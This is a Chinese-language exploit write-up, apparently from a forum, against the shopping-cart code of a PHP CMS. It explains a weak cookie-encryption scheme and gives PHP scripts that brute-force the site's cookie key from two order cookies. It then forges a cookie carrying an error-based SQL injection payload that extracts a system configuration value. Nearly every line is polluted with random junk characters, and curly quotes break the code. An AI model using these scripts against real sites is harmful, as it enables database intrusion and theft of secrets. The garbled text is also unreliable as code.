www.xxx.com/plus/search.php?keyword=, g5 X- X# H- [( j
在 include/shopcar.class.php中, f O! R' @9 H8 E5 R
先看一下这个shopcar类是如何生成cookie的0 t2 i3 e5 U1 W; |. a" W2 Z
239 function saveCookie($key,$value) e1 I6 r2 Z6 r7 q) l
240 {# v. Z- l K$ T! h/ n/ m! J' W6 `9 c: A5 D
241 if(is_array($value))
$ h1 Q9 Z$ K2 O6 r, b242 {$ E% n W6 o3 R9 N" f/ D
243 $value = $this->enCrypt($this->enCode($value));( b4 q t5 k/ Z7 K3 c1 K u2 M( Z( {: w/ W
244 }: i4 P U6 g3 p3 D: ~+ m! f
245 else
0 S" W0 ?* I; b& n# r1 r246 {
+ _4 q0 { Q7 @% ?, u3 S247 $value = $this->enCrypt($value);
n3 u) B! T2 ]1 Y/ d248 }
# z6 O6 a w& A L! {5 F. N249 setcookie($key,$value,time()+36000,’/');
- n5 Q D% g# V" _3 C- f7 K250 }& p9 J7 ^6 {' v
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
- f1 Z5 Y9 s: E" x# z' \0 A186 function enCrypt($txt)
+ t9 F5 z _) W! m1 }% S187 {
% o, K. ]0 D# t' A% k+ ]188 srand((double)microtime() * 1000000);- w" n* n7 \; @
189 $encrypt_key = md5(rand(0, 32000));
' `+ l# _4 R! B6 R7 Q6 o190 $ctr = 0;" r( I# g" s/ r2 C7 H6 b8 X
191 $tmp = ”;
0 V, t o' `; {/ V: [6 R192 for($i = 0; $i < strlen($txt); $i++)
5 w S# }- Z, w5 u) D8 [* i* u193 {% O+ o; ]0 T5 }
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
x. t( u+ E8 F195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
0 [! j, a' m/ T5 m4 |196 }
/ W$ k. |5 n0 [" r" c8 m+ X197 return base64_encode($this->setKey($tmp));
: i6 r' [* j V0 i) s y198 }
5 K; L8 z2 p6 M213 function setKey($txt)
/ }4 E0 C8 A$ G3 a( d214 {! i X4 n% z, c
215 global $cfg_cookie_encode;
2 | {$ z8 r- x: B q' Y/ Q: b8 I! h216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
# u" j7 Z( s1 M7 ] o9 l217 $ctr = 0;- [# g% N6 p9 d5 U
218 $tmp = ”;
2 z" k1 L$ [4 V" I$ X219 for($i = 0; $i < strlen($txt); $i++)
' w: ?. ~0 @8 y+ U$ W" @220 {" m: X* y3 {- @* P$ X
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
' g# ~/ C! E2 Z8 |. H222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];2 p/ h; Y% M% B1 c }/ O) o6 j
223 }
# O8 t; U7 {( r% `( J! F& _: f3 Q224 return $tmp;" h4 `5 w0 r5 u/ [4 O3 a
225 }& L0 G$ ?4 d$ @2 u. W( n
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
& K2 F. v& L5 u t! P6 W然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。) i9 g: V* [- b4 n1 x
具体代码如下:
' H% v* o' F" U$ T( [<?php
2 \3 F, t6 d/ J# M: X6 b$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
) u$ d" q0 [. O# G" @$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
4 j# O2 a8 R$ a' @, L" v7 R$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here1 l! m: O1 }! Q# O* G
function reStrCode($code,$string). V' P2 F2 ?5 @) Q1 a# ?
{% {4 U( @9 z) ?4 I2 U1 u
$code = base64_decode($code);' ~- q! W; {2 i9 N+ l. ^
$key = “”;
+ \& h3 L# i9 K1 n" Cfor($i=0 ; $i<32 ; $i++)/ m. i7 y" J: e, S
{
' w$ k6 g# {9 h6 |7 ^$key .= $string[$i] ^ $code[$i];
9 ]2 r' b, c$ p}2 _, }: C4 b5 B1 G$ N2 x
return $key;0 m; H; Z+ c' _
} d7 f! U( @) X9 {9 \( F& J
function getKeys($cookie,$plantxt)2 U0 Y. a% Z* B/ N$ O: _* m
{% @+ e$ ]0 {% l
$tmp = $cookie;
1 k2 p- m& i3 k$ \& s: s; Z$results = array();5 \( h; g! p- E8 T; g
for($j=0 ; $j < 32000; $j++)
3 W: F: `- Q) K8 ]9 ?7 r) t, ~5 `{! N2 e; t6 p/ d! w) k5 h
# }1 \. O# L: f+ W: y/ K$txt = $plantxt;# e6 I" c3 G. c+ _, v
$ctr = 0;8 L7 Y [2 t# s
$tmp = ”;
9 d7 z8 n7 t$ {$ p7 P9 Q& ^$encrypt_key = md5($j); {( e. s- `- Q
for($i =0; $i < strlen($txt); $i ++)
; c# M! i2 j/ v/ O{
2 F5 L. I* o, o( R& D$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 G7 j! y/ J; Z, m9 a2 P$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
# I2 n% v5 |) P+ E( G$ {}
/ s8 R9 n9 N3 J/ |4 B$string = $tmp;$ V: A+ Q: \5 m$ m$ N3 D2 S5 K
$code = $cookie;' G( |3 l) |& @0 K' P
$result = reStrCode($code,$string);- A! Z ?. F* t0 w
if(eregi(‘^[a-z0-9]+$’,$result))
, R% Y+ a* v8 q! w2 Z, Z{
2 ]! j! I$ ?; X% R) U/ M gecho $result.”\n”;
: j8 {! R1 ^# @$results[] = $result;# z# O) P+ M- ^' K9 t8 ^2 B
}
, i. O, _- ~3 o [# p& c0 Z- [}
: b/ F" I6 _ Q- _return $results;# X' G: D1 {2 s- m
}
2 A3 a1 h9 }2 M2 F$results1 = getKeys($cookie1,$plantxt);
$ O8 X* I6 s7 O$ w6 @0 t1 k \$results2 = getKeys($cookie2,$plantxt);
3 x. b) x4 x- O) ?: o* jprint “\n——————–real key————————–\n”;
0 b) D/ m7 p: d: o1 _. R( Uforeach($results1 as $test1)
- K! R; G( u- a' T( g2 H* z{
c$ \/ o, D1 B8 U2 tforeach($results2 as $test2)+ J: H) ]7 B1 r7 c) z( V2 w' I; y
{
! M! U6 Y0 G# B# t5 I F( W4 jif($test1 == $test2)
K Q# |$ j/ H# \ M) V{
* U5 v7 i, ?2 j% m' t, P5 Techo $test1.”\n”;
: p! s# U, b' Y, s3 A' _8 F}
4 E( z) O" u$ z- k) S}5 A* t E% O) C c5 j- w! _* o/ L+ l
}
% _- c% O" Z2 P; l9 [! M" d?>
% s- t0 ]/ F( t9 Bcookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
# ~; N7 n8 o' O# w% I. }plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
|: P2 o, }- `4 k) e: i然后推算出md5(strtolower($cfg_cookie_encode))
6 O( P- E. q: r7 ]5 M m* N& _6 `( h得到这个key之后,我们就可以构造任意购物车的cookie
3 f R7 h% p5 e0 c接着看: r l+ f5 ~- c8 u
20 class MemberShops
; C$ ~& ?7 x- l, D1 S& K3 j6 D21 {3 L1 U8 X, `5 e3 `, K+ r
22 var $OrdersId;
4 P8 n5 E# _' n) H23 var $productsId;4 X q8 o- F7 f& d
24( X; \, r: m& T8 V& D5 X& J
25 function __construct()( Y, i9 {$ O4 _8 e8 X4 `
26 {
* H7 [ u% l& y4 V+ B27 $this->OrdersId = $this->getCookie(“OrdersId”);. r4 Q8 ^' v5 p- C2 w
28 if(empty($this->OrdersId))! j4 c; [" A1 C
29 {
8 B2 f: F4 Q! Q( [, J; I30 $this->OrdersId = $this->MakeOrders();7 \' \& e& `/ h) H+ _/ ^
31 }
. S z" S, K. ?6 K8 o% f' X, z7 F) S32 }
5 z+ @" u* ~& [$ C3 i' |) m: D发现OrderId是从cookie里面获取的
' k; C. C$ Y! e, q& c然后
* n! }$ N1 g4 `# h# N1 H3 L/plus/carbuyaction.php中的
# x0 W7 M: z4 @- _9 S( l5 V* M; S9 F8 H* }29 $cart = new MemberShops();
x, b; ?: D8 T2 A. a5 A39 $OrdersId = $cart->OrdersId; //本次记录的订单号
7 K. c3 g; v7 u2 U0 L3 s……
/ O; e( Z9 _# D0 C. W. ~173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
& R& C. q# X: @ U6 e, k3 A9 x& x接着我们就可以注入了
( ^% D) K. c# u' O3 e/ r8 K通过利用下面代码生成cookie:6 q2 T; A1 x0 H* K1 P/ Z7 m; ]
<?php. R: U9 K! v( p
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
3 c: b& h( n$ S1 s$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here2 S# I% D$ t2 v x/ Y5 E0 g
function setKey($txt)' q8 a* k0 R! v* r
{ k' }/ G5 o6 m$ Z) U8 j2 A5 D$ h
global $encrypt_key;
+ O" c1 X% e" m9 }: r9 O" h$ctr = 0;
2 o6 D& p" r$ O% l$tmp = ”;) l a# ~) I. x8 v
for($i = 0; $i < strlen($txt); $i++)) \; ?8 l2 x0 T; O! X# Q: r
{ J4 V1 p$ A9 p+ @% o
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
2 p( B( e+ I% q" ], G; Y$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];) M: y" B7 `" J- `4 n. ] e
}$ J0 z7 i: U1 _
return $tmp;
7 C2 L3 J+ Y: x. l}
1 _8 \( E, X4 v5 k$ a. j, Ffunction enCrypt($txt): A- `' G& n5 r! X3 w, i
{
& Z' C( V0 N% Csrand((double)microtime() * 1000000);8 U. i$ ?) M8 c3 E
$encrypt_key = md5(rand(0, 32000));( D$ n: V( D2 X" `$ H& k5 j6 k
$ctr = 0;
0 u V0 X1 A2 Q- {' Q$tmp = ”;9 p4 w3 S7 r: Y1 ?& n
for($i = 0; $i < strlen($txt); $i++)$ M7 H, \1 T3 j" X
{: F: z4 c% f7 Y
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;/ I7 d c8 q6 z# Q
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
2 o# O" s8 @4 ~}( l( b3 D9 H) ], G5 j/ m
return base64_encode(setKey($tmp));: _1 X7 U4 A2 f% G0 b- r' _. r
}
4 E* L: g$ @4 w. \for($dest =0;$dest = enCrypt($txt);)
5 X2 C: n, ]3 p" k: C5 b9 C1 h{& _3 O0 h( m/ Z8 ]
if(!strpos($dest,’+'))
5 X" b6 I; n& _3 B+ a# u p{2 B1 ]0 l' h0 [* ?# i* @
break;- H- Z" R9 M) Z+ P. V0 ^4 q
}
2 \! b3 Y3 N# I; L& ?( V}
3 k1 D, \$ p1 w/ G: t2 r% iecho $dest.”\n”;# W4 O) a4 ?9 b; s9 {. q1 E
?>
( T) I! M8 m5 `: {% _- X i$ u: }; {, ^6 M% r" j6 D F
|